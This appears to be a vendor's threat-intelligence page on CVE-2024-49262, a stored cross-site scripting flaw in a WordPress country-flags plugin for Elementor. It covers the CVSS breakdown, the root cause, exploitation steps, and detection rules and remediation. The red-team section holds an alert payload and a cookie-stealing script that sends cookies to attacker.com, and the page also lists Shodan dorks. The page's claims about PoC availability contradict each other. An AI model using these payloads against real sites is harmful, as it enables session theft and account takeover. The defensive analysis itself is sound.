☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wepic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-49262

CVE-2024-49262 Cross-Site Scripting in Wepic
📅 PUBLISHED: 2024-10-17 20:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-49262 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the WordPress plugin Country Flags for Elementor by Wepic, affecting versions up to and including 1.0.1. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which are then executed whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin's integration with Elementor, a widely used page builder, the attack surface is significant, potentially affecting thousands of WordPress sites. No public proof-of-concept (PoC) or patch is currently available, elevating the risk for unpatched installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Since no patch is available, users are advised to disable and remove the plugin until an official update is released. The lack of a patch from the vendor (Wepic) introduces supply chain risk, as site administrators must rely on manual workarounds or third-party security plugins to mitigate the threat.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network (N) – The attack is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
  • User Interaction (UI): Required (R) – The victim must visit the compromised page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access reduces the immediate risk. However, the stored nature of the XSS and the widespread use of Elementor make this a significant threat for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the country-flags-for-elementor plugin, which provides a widget for displaying country flags within Elementor pages. The plugin fails to properly sanitize user input when rendering flag-related data (e.g., country names, codes, or custom attributes). An attacker with contributor-level access can inject malicious JavaScript into these fields. When the page is saved and later viewed by an administrator or visitor, the injected script executes in the context of the victim's browser.

Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows arbitrary HTML and JavaScript to be stored and rendered.

Attack Flow:

  1. Attacker logs in with contributor-level credentials.
  2. Attacker creates or edits a page/post using Elementor.
  3. Attacker adds the "Country Flags" widget and injects a malicious payload into an input field (e.g., country name).
  4. The payload is stored in the WordPress database.
  5. When an administrator or visitor views the page, the payload executes, potentially stealing cookies, redirecting users, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's main rendering function. A typical vulnerable pattern might look like:

Vulnerable Code (PHP):

echo '<div class="country-flag">' . $country_name . '</div>';

Patched Code (Hypothetical):

echo '<div class="country-flag">' . esc_html( $country_name ) . '</div>';

The patched version would use esc_html() to neutralize any HTML or JavaScript before output.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • WordPress site with Country Flags for Elementor <= 1.0.1 installed and active.
  • Attacker account with contributor-level privileges or higher.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to Pages > Add New.
  3. Edit with Elementor.
  4. Search for "Country Flags" widget and drag it onto the page.
  5. In the widget settings, locate a text input (e.g., "Country Name").
  6. Inject the following payload:
    <img src=x onerror=alert('XSS')>
    
  7. Update/publish the page.
  8. When an administrator visits the page, the JavaScript executes.

Advanced Payload (Cookie Stealing):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Defender)

Detection Steps:

  1. Monitor for unusual Elementor widget usage by low-privilege users.
  2. Review page revisions for injected scripts.
  3. Use a Web Application Firewall (WAF) to block common XSS patterns.
  4. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

  • Use a local WordPress instance (e.g., via Docker) with the vulnerable plugin.
  • Create a contributor user and test the exploit.
  • Monitor logs and network traffic to identify indicators.

Indicators of Compromise (IOCs)

  • File System: Presence of the plugin directory /wp-content/plugins/country-flags-for-elementor/ with version 1.0.1.
  • Database: Suspicious entries in wp_posts or wp_postmeta containing <script> tags or event handlers like onerror, onload, etc.
  • Network: Outbound HTTP requests to unknown domains from the WordPress server.
  • Logs: WordPress debug logs showing unexpected output in Elementor widgets.

Detection Engineering

YARA Rule

rule CVE_2024_49262_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Country Flags for Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49262"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/i
        $plugin_path = "country-flags-for-elementor"
    condition:
        any of ($xss*) and $plugin_path
}

Sigma Rule

title: Stored XSS via Country Flags for Elementor
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0e4a7c
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages using the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-content/plugins/country-flags-for-elementor"
        http.request_body|contains: 
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49262 - Stored XSS in Country Flags for Elementor"; flow:to_server,established; content:"wp-content/plugins/country-flags-for-elementor"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete country-flags-for-elementor from the WordPress admin panel.
  2. Audit existing content: Scan all pages and posts for injected scripts using a security plugin like Wordfence or Sucuri.
  3. Update user roles: Restrict contributor-level access to trusted users only.

Long-term Fix:

  • Monitor the plugin's official page for a patched version (>= 1.0.2).
  • Apply the patch as soon as it becomes available.
  • Implement a Web Application Firewall (WAF) with XSS rules.

Workaround (if plugin must remain active):

  • Use a WordPress security plugin to add output escaping to the plugin's code (advanced).
  • Add a CSP header: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' (note: unsafe-inline weakens security but may be necessary for Elementor).

Report generated by Valters IT DevSecOps & CTI Division

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"country-flags-for-elementor"
http.html:"wp-content/plugins/country-flags-for-elementor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-49262/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.